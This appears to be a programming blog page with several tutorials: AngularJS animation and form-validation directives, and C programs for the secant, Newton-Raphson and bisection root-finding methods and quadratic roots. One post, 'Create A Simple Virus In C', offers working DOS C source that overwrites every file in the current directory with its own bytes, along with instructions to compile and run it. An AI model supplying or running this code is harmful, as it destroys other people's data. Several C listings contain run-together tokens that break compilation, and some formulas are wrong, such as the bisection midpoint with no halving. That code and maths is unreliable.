Sunday, 20 March 2016

AngularJS Animation

AngularJS provides animation hooks for common directives such as ngRepeat, ngSwitch, and ngView, as well as custom directives via the $animate service. These animation hooks are set in place to trigger animations during the life cycle of various directives and when triggered, will attempt to perform a CSS Transition, CSS Keyframe Animation or a JavaScript callback Animation (depending on if an animation is placed on the given directive). Animations can be placed using vanilla CSS by following the naming conventions set in place by AngularJS or with JavaScript code when it's defined as a factory.

Animations are not available unless you include the ngAnimate module as a dependency within your application. Below is a quick example of animations being enabled for ngShow and ngHide:

What Does ngAnimate Do?

The ngAnimate module adds and removes classes.

The ngAnimate module does not animate your HTML elements, but when ngAnimate notice certain events, like hide or show of an HTML element, the element gets some pre-defined classes which can be used to make animations.

The directives in AngularJS who add/remove classes are:

  • ng-show
  • ng-hide
  • ng-class
  • ng-view
  • ng-include
  • ng-repeat
  • ng-if
  • ng-switch
The ng-show and ng-hide directives adds or removes a ng-hide class value.

The other directives adds a ng-enter class value when they enter the DOM, and a ng-leave attribute when they are removed from the DOM.

The ng-repeat directive also adds a ng-move class value when the HTML element changes position.

In addition, during the animation, the HTML element will have a set of class values, which will be removed when the animation has finished. Example: the ng-hide directive will add these class values:

  • ng-animate
  • ng-hide-animate
  • ng-hide-add (if the element will be hidden)
  • ng-hide-remove (if the element will be showed)
  • ng-hide-add-active (if the element will be hidden)
  • ng-hide-remove-active (if the element will be showed)
Example custom directive with $animate

File name : index.html
  1. <html ng-app="myapp"> <head> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/font-awesome/4.5.0/css/font-awesome.min.css"> <link rel="stylesheet" type="text/css" href="bootstrap.min.css"> <link rel="stylesheet" type="text/css" href="style.css"> <script type="text/javascript" src="jquery.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js"></script> <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular-animate.js"></script> <script type="text/javascript" src="main.js"></script> </head> <body > <div class="col-lg-6"> <div class="panel panel-default" ng-controller="homeController"> <div class="panel-heading"> Merchant List </div> <div class="panel-body"> <div class="list-group"> <div class="list-group-item"> <strong> Merchant </strong> <button ng-click="order.toggle()" class="btn btn-link btn-xs"> <span ng-show="order.isAscending()" class="fa fa-angle-up fa-2x"></span> <span ng-hide="order.isAscending()" class="fa fa-angle-down fa-2x"></span> </button> </div> <div ng-repeat="marchant in marchants | orderBy:order.predicate " marchant-meta="marchant" class="list-group-item"> {{marchant.name}} </div> </div> </div> </div> </div> </body> </html>

File name : style.css
  1. body { padding: 20px; } .list-group-item { cursor: pointer; &.ng-enter, &.ng-leave, &.ng-move { transition: 0.5s linear all; } &.ng-enter-stagger, &.ng-leave-stagger, &.ng-move-stagger { transition-delay: 0.05s; } &.ng-enter, &.ng-move, &.ng-leave.ng-leave-active { opacity: 0; } &.ng-enter.ng-enter-active, &.ng-move.ng-move-active, &.ng-leave { opacity: 1; } &.toggle, &.toggle-add, &.toggle-remove { transition: 0.5s ease-out all; } &.toggle-add-active { text-indent: 1em; } &.toggle { background: #fcf8e3; } } .label { &.ng-enter, &.ng-leave{ transition: 0.25s ease-in-out all; } &.ng-enter, &.ng-leave.ng-leave-active { opacity: 0; margin-left: 2em; } &.ng-enter.ng-enter-active, &.ng-leave { opacity: 1; margin-left: 0; } }

File name : main.js
  1. angular.module('myapp', ['ngAnimate']).directive('marchantMeta', function($animate) { return { restrict: 'A', scope: { marchant: '=marchantMeta' }, link: function(scope, element) { var toggled, label; scope.$watch('marchant.id', function(id) { if (!label) { label = angular.element('<span>').addClass('label label-primary'); } label.text('Merchant ID ' + id); }); element.on('mouseenter', function() { scope.$apply(function() { var contents = element.contents(); $animate.enter(label, element, contents.eq(contents.length - 1)); }); }); element.on('mouseleave', function() { scope.$apply(function() { $animate.leave(label); }); }); element.on('click', function() { scope.$apply(function() { toggled = !toggled; if (toggled) { $animate.addClass(element, 'toggle'); } else { $animate.removeClass(element, 'toggle'); } }); }); } }; }).controller('homeController', function($scope){ $scope.search = { name: '' }; $scope.order = { predicate: 'name', toggle: function() { this.predicate = this.isAscending() ? '-name' : 'name'; }, isAscending: function() { return this.predicate === 'name'; } }; $scope.marchants= [ { 'name': 'Kaushik', 'id': '0001' }, { 'name': 'Sanjay', 'id': '0002' }, { 'name': 'Dhaval', 'id': '0003' }, { 'name': 'Kirit', 'id': '0004' }, { 'name': 'Sagar', 'id': '0005' }, { 'name': 'Ashish', 'id': '0006' }, { 'name': 'Chirag', 'id': '0007' }, { 'name': 'Meet', 'id': '0008' }, ]; })


Solve the Secent method equation using C

Assume we need to find a root of the equation f (x) = 0, called α. Consider the graph of the function f (x) and two initial estimates of the root, x0 and x1. The two points (x0,f (x0)) and (x1,f (x1)) on the graph of f (x) determine a straight line, called a secant line which can be viewed as an approximation to the graph. The point x2 where this secant line crosses the x axis is then an approximation for the root α.

This is the same idea as in Newton’s method, where the tangent line has been approximated by a secant line.

The equation of the secant line will be given by
         
y = f(x1)+(x−x1) * (f(x1)−f(x0) /  x1−x0)
so

x2 = x1−f(x1)  * (x1−x0 / f(x1) − f(x0))

Then take x1 and x2 as the next two estimates and continue the procedure. The general iteration will be given by
xn+1 =  xn−f(xn) * (xn− xn-1 / f(xn) − f(xn-1))

and so on.

Advantages and disadvantages:

  1. The error decreases slowly at first but then rapidly after a few iterations.
  2. The secant method is slower than Newton’s method but faster than the bisection method.
  3. Each iteration of Newton’s method requires two function evaluations, while the secant method requires only one
  4. The secant method does not require differentiation.


                                                                                            
Example Code:

equation x2-5
root between 2 and 3
File name : newton.c

#include<stdio.h> #include<conio.h> #include<math.h> #define E 0.0001 float f(float x) { return (x*x)-5; } void main() { float x0,x1,x2,fx0,fx1,fx2; intctr=0; clrscr(); printf("Enter value of X0:"); scanf("%f",&x0); printf("Enter value of X1:"); scanf("%f",&x1); clrscr(); printf("\n---------------------------------------------------------"); printf("\n| SECENT METHOD |"); printf("\n---------------------------------------------------------"); printf("\n| NO\t| x0\t| f(x0)\t| x1\t| f(x1)\t| x2\t| f(x2) |"); printf("\n---------------------------------------------------------"); do { fx0=fx1=fx2=0; fx0=f(x0); fx1=f(x1); x2=((x0*fx1)-(x1*fx0))/(fx1-fx0); fx2=f(x2); printf("\n%d\t|%.3f\t|%.3f\t|%.3f\t|%.3f\t|%.3f\t|%.3f",ctr+1,x0,fx0,x1,fx1,x2,fx2); x0=x1; fx0=fx1; x1=x2; fx1=fx2; ctr++; }while(fabs(fx2)>=E); printf("\n\nx2 : %.4f",x2); getch(); }

Solve the Newton-Raphson method equation using C

Recall that the equation of a straight line is given by the equation
y = mx +n  (1)

where m is called the slope of the line. (This means that all points (x,y) on the line satisfy the equation above.)
If we know the slope m and one point (x0,y0) on the line, equation (1) becomes 
y−y0 = m(x−x0)  (2)

Idea behind Newton’s method 
Assume we need to find a root of the equation f(x) = 0. Consider the graph of the function f(x) and an initial estimate of the root, x0. To improve this estimate, take the tangent to the graph of f(x) through the point (x0, f(x0) and let x1 be the point where this line crosses the horizontal axis.

According to eq. (2) above, this point is given by
x1 = x0−(f(x0)/f′(x0))

where f ′(x0) is the derivative of f at x0. Then take x1 as the next approximation and continue the procedure. The general iteration will be given by

xn+1 = xn− (f(xn)/f′(xn))  and so on.

Error analysis
Let α be the root of f(x) = 0 we are trying to approximate. Then, Taylor’s formula gives
 f(α) = f(xn)+(α−xn)f′(xn)+ 1/2 (α−xn)2 fn(cn)

where cn is an unknown point between α and xn. This eventually leads to
α−xn+1 = (α−xn)2 [−fn(cn)/2f′(xn) ]

which means that the error in xn+1 is proportional to the square of the error in xn.
Hence, if the initial estimate was good enough, the error is expected to decrease very fast and the algorithm converges to the root.

To give an actual error estimation, write Taylor’s formula again
f(α) = f(xn)+(α−xn)f′(cn)

where cn is an unknown point between α and xn, so
α−xn = −f(xn)/f′(cn) ≈ −f(xn) / f′(xn)

so

 α−xn ≈ xn+1−xn

which is usually quite accurate.

Advantages and disadvantages of Newton’s method:

  1. The error decreases rapidly with each iteration.
  2. Newton’s method is very fast. (Compare with bisection method!).
  3. Unfortunately, for bad choices of x0 (the initial guess) the method can fail to converge! Therefore the choice of x0 is VERY IMPORTANT!.
  4. Each iteration of Newton’s method requires two function evaluations, while the bisection method requires only one.
                                                                                                                       
Example Code:

equation x4-x-10
derimeter f’(x) ==4x3-1

File name : newton.c

#include<conio.h> #include<stdio.h> #include<stdlib.h> #include<math.h> float f(float x) { return (x*x*x*x)-x-10; } floatdf(float x) { return (4*x*x*x)-1; } void main() { float x1=0,x2=0,t=0,E; intcnt=0,max,i; clrscr(); printf("\nEnter Initial Value X1---->"); scanf("%f",&x1); printf("\nEnter Error Iteration---->"); scanf("%f",&E); printf("\nEnter Max Iteration---->"); scanf("%d",&max); printf("\n ITERATION X1 FX1 F'X1 X2"); for(i=1;i<=max;i++) { cnt++; t=f(x1)/df(x1); x2=x1-t; printf("\n %d %.3f %.3f %.3f %.3f",cnt,x1,f(x1),df(x1),x2); if(fabs(t)<E) { break; } x1=x2; } printf("\n\t The Root Of Equation is= %f",x2); getch(); }

Wednesday, 2 March 2016

Create A Simple Virus In C

How to make simple virus in c language. this code help to convert your human resource data to unreadable binary format.

How can work : 

  1. Copy this code, and paste the any editor.
  2. After then you. just compile on this file. don't run this file.
  3. After then you can check your current directory where you save your source code file. in current directory you can find one executable file. just copy and paste this executable file in any directory or folder and press double click or run that executable file.
  4. Then you can check any data and file.


For Example
File name : virus.c

   
#include<stdio.h>
#include<io.h>
#include<dos.h>
#include<dir.h>
#include<conio.h>
#include<time.h> 
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end; 
void main()
{    
 st=clock();    
 clrscr();    
 done=findfirst("*.*",&ffblk,0);                           
 while(!done)    
 {        
  virus=fopen(_argv[0],"rb");        
  host=fopen(ffblk.ff_name,"rb+");        
  if(host==NULL) 
   goto next;       
  x=89088;        
  printf("Infecting %s\n",ffblk.ff_name,a);        
  while(x>2048)        
  {            
   fread(buff,2048,1,virus);            
   fwrite(buff,2048,1,host);            
   x-=2048;        
  }        
  fread(buff,x,1,virus);        
  fwrite(buff,x,1,host);        
  a++;        
  next:        
  {            
   fcloseall();            
   done=findnext(&ffblk);        
  }    
 }    
 printf("DONE! (Total Files Infected= %d)",a);    
 end=clock();    
 printf("\n\nTIME TAKEN=%f SEC\n",    (end-st)/CLK_TCK);    
 getch();
}


Sunday, 21 February 2016

Solve the bisection method equation using C


The bisection method is based on the following result from calculus:

The Intermediate Value Theorem: Assume f : IR→IR is a continuous function and there are two real numbers a and b such that f (a)f (b) < 0. Then f (x) has at least one zero between a and b.

In other words, if a continuous function has different signs at two points, it has to go through zero somewhere in between!

The bisection method consists of finding two such numbers a and b, then halving the interval [a,b] and keeping the half on which f (x) changes sign and repeating the procedure until this interval shrinks to give the required accuracy for the root.

An algorithm could be defined as follows. Suppose we need a root for f (x) = 0 and we have an error tolerance of ε (the absolute error in calculating the root must be less that ε).

Bisection Algorithm:
  1. Find two numbers a and b at which f has different signs. 
  2. Define c = a+b  
  3. If b−c ≤ε then accept c as the root and stop. 
  4. If f (a)f (c)≤0 then set c as the new b. Otherwise, set c as the new a. Return to step 1.
Error bounds
Let α be the value of the root, a≤α≤b. Let an, bn and cn be the values of a, b and c on the nth iteration of the algorithm.

Then the error bound for cn is given by
|α−cn| ≤  (1/2n) (b−a)

This inequality can give us the number of iterations needed for a required accuracy ε
n ≥  ((log(b−a)/ε)) / log2

Advantages and disadvantages of the bisection method

  1. The method is guaranteed to converge.
  2. The error bound decreases by half with each iteration.
  3. The bisection method converges very slowly.
  4. The bisection method cannot detect multiple roots



Example Code:

Bisection Method x2-5
root between 2 and 3


File name : bisection.c

#include<stdio.h> #include<conio.h> #include<stdlib.h> #include<math.h> float f(float x) { return (x*x)-5; } main() { float x0,x1,x2,E; int count=1; charch; clrscr(); xyz: printf("\nEnter value of x0"); scanf("%f",&x0); printf("\nEnter value of x1"); scanf("%f",&x1); printf("\nEnter value of error interation:"); scanf("%f",&E); clrscr(); printf("\n NO\tx0\tx1\tx2\tf(x0)\tf(x1)\tf(x2)"); if(f(x0)*f(x1)<0) { x2=(x0+x1)/2; while(fabs(x1-x0)>E) { printf("\n %d\t%.3f\t%.3f\t%.3f\t%.3f\t%.3f\t%.3f",count,x0,x1,x2,f(x0),f(x1
),f(x2)); if(f(x0)*f(x2)<0) { x1=x2; } else { x0=x2; } count++; x2=(x0+x1)/2; } printf("\nRoot is %f",x2); } else { clrscr(); printf("\nYour value is incorrect...\nPlease enter a new value then Press 'Y' key otherwise any key press to exit!...."); fflush(stdin); scanf("%c",&ch); if(ch=='y'||ch=='Y') { goto xyz; } else { exit(0); } } getch(); }

Friday, 19 February 2016

Find the root of quadratic equation using C



A quadratic equation is a second-order polynomial equation in a single variable x with ax2+bx+c=0, a!=0.

The Quadratic Formula uses the "a", "b", and "c" from "ax2 + bx + c", where "a", "b", and "c" are just numbers; they are the "numerical coefficients" of the quadratic equation they've given you to solve.

The Quadratic Formula is derived from the process of completing the square, and is formally stated as:

For ax2 + bx + c = 0, the value of x is given by:

x  =  [ -b ± sqrt(b2 - 4ac) ] / 2a

Because it is a second-order polynomial equation, the fundamental theorem of algebra guarantees that it has two solutions. These solutions may be both real, or both complex.

For Example Code:

File name : qurdation.c
   

#include<stdio.h> #include<conio.h> #include<math.h> void main() { float a,b,c,d,x1=0,x2=0; clrscr(); printf("Enter the value of A:="); scanf("%f",&a); printf("Enter the value of B:="); scanf("%f",&b); printf("Enter the value of C:="); scanf("%f",&c); d=((b*b)-(4*a*c)); clrscr(); printf("\n| A | %.2f ",a); printf("\n| B | %.2f ",b); printf("\n| C | %.2f ",c); printf("\n-----------------"); printf("\n| D | %.2f",d); if(d==0) { printf("\n\n| Roots are real and equal"); x1=((-b+sqrt(d))/(2*a)); x2=((-b-sqrt(d))/(2*a)); } else if(d>0) { printf("\n\n| Roots are real and distict"); x1=((-b+sqrt(d))/(2*a)); x2=((-b-sqrt(d))/(2*a)); } else if(d<0) { printf("\n\n| Roots are imegnand "); } printf("\n\n| Value of X1 | %.2f",x1); printf("\n| Value of X2 | %.2f",x2); getch(); }

Angularjs Create Own Field with Validation using custom directives


For Example Code:

File name : index.html
<!doctype html>
<html ng-app="MyApp" >
<head>
  <meta charset="utf-8">
  <title></title>
  <link rel="stylesheet" href="style.css">
  <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.2/angular.js"></script>
  <link href="//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.1/css/bootstrap-combined.min.css" rel="stylesheet">
  <script src="app.js"></script>
  <script src="field.js"></script>
  <script src="submitvalid.js"></script>
</head>
<body ng-controller="mainController">
      <form submit-valid="submitForm()" name='customer-form' novalidate>
          <field ng-model='student.phone' type='text' label='Phone:' data-required ng-pattern="/^[0-9]+$/">
            <validator key='required'>Phone is required</validator>
            <validator key='pattern'>Phone is invalid</validator>
          </field>
    
    <field ng-model='student.name' type='text' label='First Name:' data-required >
            <validator key='required'>Firstname is required</validator>
          </field>
    <field ng-model='student.gender' template='select' type='text' label='Gender:' data-required ng-options="item for item in Gender">
            <validator key='required'>Gender is required</validator>
          </field>
     <field ng-model='student.address' type='text'  template='textarea' label='Address:' data-required >
            <validator key='required'>Address is required</validator>
          </field>
        <input type="submit" value="submit" id="submit" name="submit"/>
      </form>  
      <pre>{{ student | json }}</pre>
</body>
</html>

File name : style.css

.pristine.true, .dirty.true, .invalid.true {
  background: gray;
}
.valid.false {
  background: red;
}
.valid.true {
  background: green; 
}
.error {
  color: red; 
}

File name : app.js

var app = angular.module('MyApp', []);

app.controller('mainController', function($scope) {
  $scope.student = {};
  $scope.student.phone = "7778899845";
  $scope.Gender = ["Male", "Female"];
  $scope.submitForm = function() {
    alert('Data Submitted');
  };
});


File name : field.js

  var app = angular.module('MyApp');

  app.directive('field', function($compile, $http, $templateCache, $interpolate) {
    var templatePath = ''; 
    var findInputElement = function(element) {
  return angular.element(element.find('input')[0] || element.find('textarea')[0] || element.find('select')[0]);
    };
    return {
      restrict:'E',        
      terminal: true,       
      require: '?^form',    
      compile:function compile(element, attrs) {

        var validationMessages = [];
        angular.forEach(element.find('validator'), function(validatorElement) {
          validatorElement = angular.element(validatorElement);
          validationMessages.push({
            key: validatorElement.attr('key'),
            getMessage: $interpolate(validatorElement.text())
          });
        });

        var labelContent = '';
        if ( element.attr('label') ) {
          labelContent = element.attr('label');
          element[0].removeAttribute('label');
        }
        if ( element.find('label')[0] ) {
          labelContent = element.find('label').html();
        }
        if ( !labelContent ) {
          throw new Error('No label provided');
        }

        var template = attrs.template || 'input';   
        var getFieldElement = $http.get(templatePath + template + '.html', {cache:$templateCache}).then(function(response) {
          var newElement = angular.element(response.data);
    //console.log(response.data);
          var inputElement = findInputElement(newElement);

          angular.forEach(element[0].attributes, function (attribute) {
            var value = attribute.value;
            var key = attribute.name;
            inputElement.attr(key, value);
          });

          var labelElement = newElement.find('label');
          labelElement.html(labelContent);

          return newElement;
        });

        return function (scope, element, attrs, formController) {
          getFieldElement.then(function(newElement) {
            var childScope = scope.$new();

            childScope.$modelId = attrs.ngModel.replace('.', '_').toLowerCase() + '_' + childScope.$id;

            var inputElement = findInputElement(newElement);
            inputElement.attr('name', childScope.$modelId);
            inputElement.attr('id', childScope.$modelId);
            newElement.find('label').attr('for', childScope.$modelId);

            childScope.$validationMessages = {};
            angular.forEach(validationMessages, function(validationMessage) {
              scope.$watch(validationMessage.getMessage, function (message) {
                childScope.$validationMessages[validationMessage.key] = message;
              });
            });
   $compile(newElement)(childScope, function(clone) {
              element.after(clone);
              element.remove();
            });
   if ( formController ) {
              childScope.$form = formController;
              childScope.$field = formController[childScope.$modelId];
            }
          });
        };
      }
    };
  });



File name : submitvalid.js

  var app = angular.module('MyApp');

  app.directive('submitValid', function($parse) {
    return {
      require: 'form',
      link: function(scope, formElement, attributes, form) {
        form.attempt = false;
        formElement.bind('submit', function (event) {
          form.attempt = true;
          if (!scope.$$phase) scope.$apply();

          var fn = $parse(attributes.submitValid);

          if (form.$valid) {
     console.log(scope);
            scope.$apply(function() {
              fn(scope, {$event:event});
            });
          }
        });
      }
    };
  });

File name : input.html

<div class="control-group" ng-class="{'error' : $field.$invalid && ( $field.$dirty || $form.attempt )}"> <label class="control-label" >{{label}}</label> <div class="controls"> <input> <div ng-repeat="(key, error) in $field.$error" ng-show="error && ( $field.$dirty || $form.attempt )" class="validation-label">{{$validationMessages[key]}}</div> </div> </div>

File name : select.html

<div class="control-group" ng-class="{'error' : $field.$invalid && $field.$dirty}"> <label class="control-label">{{label}}</label> <div class="controls"> <select></select> <div ng-repeat="(key, error) in $field.$error" ng-show="error && $field.$dirty" class="validation-label">{{$validationMessages[key]}}</div> </div> </div>

File name : textarea.html

<div class="control-group" ng-class="{'error' : $field.$invalid && $field.$dirty}"> <label class="control-label">{{label}}</label> <div class="controls"> <textarea></textarea> <div ng-repeat="(key, error) in $field.$error" ng-show="error && $field.$dirty" class="validation-label">{{$validationMessages[key]}}</div> </div> </div>


Create Thumbnail in Video in Spring and ffmpeg

import java.awt.image.BufferedImage; import java.io.File; import java.io.IOException; import javax.imageio.ImageIO; import org.jcodec.api.Fr...